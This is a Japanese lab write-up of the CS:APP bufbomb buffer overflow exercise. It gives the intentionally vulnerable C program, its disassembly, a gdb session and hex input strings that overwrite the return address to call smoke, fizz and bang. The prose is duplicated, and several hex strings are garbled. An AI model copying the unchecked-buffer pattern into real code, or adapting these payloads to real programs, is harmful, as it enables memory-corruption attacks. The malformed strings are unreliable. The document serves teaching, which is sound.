csapp bufbomb実験
9175 ワード
csapp(『コンピュータシステムを深く理解する』)この本には、バッファオーバーフローに関する実験があり、そのプログラムコードは以下の通りである.
要求プログラム出力Smoke!:You called smoke()
私が使用しているシステム環境(archlinux 2010.05、gcc 4.5.2、gdb 7.2、objdump(bintuils)2.21):
この問題で重要な2つの関数はtestとgetbufであり、この2つの関数を実行するスタックフレームレイアウトを理解する必要があります.
先に実行
gcc -o bufbomb -g -Wall bufbomb.c objdump -d bufbomb > bufbomb.sこの2つのコマンドはbufbombを得る.s、このファイルのtestとgetbufの対応内容は以下の通りです.
最も左側の部分は、printf(「getbuf returned 0 x%x」、val)とアセンブリ命令のメモリアドレスです.この文に対応するアセンブリ文は、次のとおりです.
ここでprintf命令アドレスは0 x 080486 e 8であり、intelプロセッサは小端法で表されるため、実際にはe 8860408と表される
gdb bufbombコマンドを実行し、getbuf関数にブレークポイントを設定します(break getbufで)
runコマンドを実行しgetbuffにジャンプしinfo regでレジスタ内容を表示しebp値0 xbffeffb 8を得る
上記の逆アセンブリの結果から分かるように、getbuf関数を呼び出すときのスタックフレーム(アドレスが高から低に配列されていると仮定)は、以下のように表される.
---------------
-----------------
---------------
getbuf戻りアドレス
----------------
ebp
------------------
暫定的に空白
-----------------
暫定的に空白
----------------
buf[12]-buf[15]
----------------
buf[8]-buf[11]
----------------
buf[4]-buf[7]
----------------
buf[0]-buf[3]
-----------------
getbufから戻ると、smokeの戻りアドレス(0 x 080486 ef、すなわちef 860408)をgetbufのあるアドレスに押し込むsmoke関数の内容を出力するように要求される.smoke関数には関数パラメータがないため、余計な処理は不要である.
次にbufbombプログラムを実行し、文字列の入力を促す.私が入力した文字列は:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 86 04 08
出力結果:Smoke:You called smoke()
ここで、前の24バイトは空であり(実際にはこれらのコンテンツは任意の値であってもよい)、次はebpアドレスであり、元のコンテンツを維持する必要がある.次にsmoke関数の戻りアドレスです.
現在、すべての実験が完全に完了していないため、戻りアドレスをfizzまたはbang関数に設定して、異なる出力結果を得ることもできます.
例えば、入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 0 d 87,008の場合、出力結果はMisfire:You called fizz(0 xb 773 bff 4)
入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 0 d 87 04 ef be ad de ef be ad de出力結果:Fizz!:You called fizz (0xdeadbeef)
この例ではfizzの戻りアドレスが使用されている(0 x 0804870 dでは、上の逆アセンブリコードでfizzタグの左側のアドレスを見つけることができ、またfizzのパラメータの内容が0 xefbeaddeに変更されずに変更された場合)
入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 5287,0008の場合、Misfire:global_value=0 x 0入力文字列が00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 64 87 04 08の場合、出力結果はBang!:You set global_value to 0 x 0この例は、bangに直接ジャンプする戻りアドレス(0 x 08048752)またはprintf(「Bang!:You set global_value to 0 x 0」)文に対応するアセンブリ文のヘッダアドレス(0 x 08048764)である
参照リンク:
bufbomb lab assignment
バッファオーバーフロー攻撃実験
ubuntu 9.10バッファオーバーフロー実験
insecure programming
linuxバッファオーバーフローの原理と対策
バッファオーバーフロー解析
非安全プログラミングプレゼンテーションの高度編
buffer overflow on wikipedia
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <unistd.h>
/* Signal handler to catch bus errors */
void bushandler(int sig)
{
printf("Crash!: You caused a bus error!
");
printf("Better luck next time
");
exit(0);
}
/* Signal handler to catch segmentation violations */
void seghandler(int sig)
{
printf("Ouch!: You caused a segmentation fault!
");
printf("Better luck next time
");
exit(0);
}
/* Alarm handler to catch infinite loops */
static int alarm_time = 600;
void alarmhandler(int sig)
{
printf("Dead!: getbuf didn't complete within %d seconds
", alarm_time);
printf("Better luck next time
");
exit(0);
}
/* Illegal instruction handler */
void illegalhandler(int sig)
{
printf("Oops!: You executed an illegal instruction
");
printf("Better luck next time
");
exit(0);
}
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '
') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
int getbuf() {
char buf[16];
getxs(buf);
return 1;
}
void test() {
int val;
printf("Type Hex String: ");
val = getbuf();
printf("getbuf returned 0x%x
", val);
}
void smoke() {
printf("Smoke: You called smoke()
");
exit(0);
}
void fizz(int val) {
if (val == 0xdeadbeef) {
printf("Fizz!: You called fizz (0x%x)
", val);
}
else {
printf("Misfire: You called fizz (0x%x)
", val);
}
exit(0);
}
int global_value = 0;
void bang() {
if (global_value == 0xdeadbeef) {
printf("Bang!: You set global_value to 0x%x
", global_value);
}
else {
printf("Misfire: global_value = 0x%x
", global_value);
}
exit(0);
}
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
signal(SIGSEGV, seghandler);
signal(SIGBUS, bushandler);
signal(SIGALRM, alarmhandler);
signal(SIGILL, illegalhandler);
/* Set up time out condition */
alarm(alarm_time);
test();
return 0;
}
要求プログラム出力Smoke!:You called smoke()
私が使用しているシステム環境(archlinux 2010.05、gcc 4.5.2、gdb 7.2、objdump(bintuils)2.21):
この問題で重要な2つの関数はtestとgetbufであり、この2つの関数を実行するスタックフレームレイアウトを理解する必要があります.
先に実行
gcc -o bufbomb -g -Wall bufbomb.c objdump -d bufbomb > bufbomb.sこの2つのコマンドはbufbombを得る.s、このファイルのtestとgetbufの対応内容は以下の通りです.
080486a6 <getbuf>:
80486a6: 55 push %ebp
80486a7: 89 e5 mov %esp,%ebp
80486a9: 83 ec 28 sub $0x28,%esp
80486ac: 8d 45 e8 lea -0x18(%ebp),%eax
80486af: 89 04 24 mov %eax,(%esp)
80486b2: e8 20 ff ff ff call 80485d7 <getxs>
80486b7: b8 01 00 00 00 mov $0x1,%eax
80486bc: c9 leave
80486bd: c3 ret
080486be <test>:
80486be: 55 push %ebp
80486bf: 89 e5 mov %esp,%ebp
80486c1: 83 ec 28 sub $0x28,%esp
80486c4: b8 ef 89 04 08 mov $0x80489ef,%eax
80486c9: 89 04 24 mov %eax,(%esp)
80486cc: e8 63 fd ff ff call 8048434 <printf@plt>
80486d1: e8 d0 ff ff ff call 80486a6 <getbuf>
80486d6: 89 45 f4 mov %eax,-0xc(%ebp)
80486d9: b8 01 8a 04 08 mov $0x8048a01,%eax
80486de: 8b 55 f4 mov -0xc(%ebp),%edx
80486e1: 89 54 24 04 mov %edx,0x4(%esp)
80486e5: 89 04 24 mov %eax,(%esp)
80486e8: e8 47 fd ff ff call 8048434 <printf@plt>
80486ed: c9 leave
80486ee: c3 ret
最も左側の部分は、printf(「getbuf returned 0 x%x」、val)とアセンブリ命令のメモリアドレスです.この文に対応するアセンブリ文は、次のとおりです.
80486e1: 89 54 24 04 mov %edx,0x4(%esp)
80486e5: 89 04 24 mov %eax,(%esp)
80486e8: e8 47 fd ff ff call 8048434 <printf@plt>
ここでprintf命令アドレスは0 x 080486 e 8であり、intelプロセッサは小端法で表されるため、実際にはe 8860408と表される
gdb bufbombコマンドを実行し、getbuf関数にブレークポイントを設定します(break getbufで)
runコマンドを実行しgetbuffにジャンプしinfo regでレジスタ内容を表示しebp値0 xbffeffb 8を得る
上記の逆アセンブリの結果から分かるように、getbuf関数を呼び出すときのスタックフレーム(アドレスが高から低に配列されていると仮定)は、以下のように表される.
---------------
-----------------
---------------
getbuf戻りアドレス
----------------
ebp
------------------
暫定的に空白
-----------------
暫定的に空白
----------------
buf[12]-buf[15]
----------------
buf[8]-buf[11]
----------------
buf[4]-buf[7]
----------------
buf[0]-buf[3]
-----------------
getbufから戻ると、smokeの戻りアドレス(0 x 080486 ef、すなわちef 860408)をgetbufのあるアドレスに押し込むsmoke関数の内容を出力するように要求される.smoke関数には関数パラメータがないため、余計な処理は不要である.
次にbufbombプログラムを実行し、文字列の入力を促す.私が入力した文字列は:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 86 04 08
出力結果:Smoke:You called smoke()
ここで、前の24バイトは空であり(実際にはこれらのコンテンツは任意の値であってもよい)、次はebpアドレスであり、元のコンテンツを維持する必要がある.次にsmoke関数の戻りアドレスです.
現在、すべての実験が完全に完了していないため、戻りアドレスをfizzまたはbang関数に設定して、異なる出力結果を得ることもできます.
例えば、入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 0 d 87,008の場合、出力結果はMisfire:You called fizz(0 xb 773 bff 4)
入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 0 d 87 04 ef be ad de ef be ad de出力結果:Fizz!:You called fizz (0xdeadbeef)
この例ではfizzの戻りアドレスが使用されている(0 x 0804870 dでは、上の逆アセンブリコードでfizzタグの左側のアドレスを見つけることができ、またfizzのパラメータの内容が0 xefbeaddeに変更されずに変更された場合)
入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 5287,0008の場合、Misfire:global_value=0 x 0入力文字列が00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 64 87 04 08の場合、出力結果はBang!:You set global_value to 0 x 0この例は、bangに直接ジャンプする戻りアドレス(0 x 08048752)またはprintf(「Bang!:You set global_value to 0 x 0」)文に対応するアセンブリ文のヘッダアドレス(0 x 08048764)である
参照リンク:
bufbomb lab assignment
バッファオーバーフロー攻撃実験
ubuntu 9.10バッファオーバーフロー実験
insecure programming
linuxバッファオーバーフローの原理と対策
バッファオーバーフロー解析
非安全プログラミングプレゼンテーションの高度編
buffer overflow on wikipedia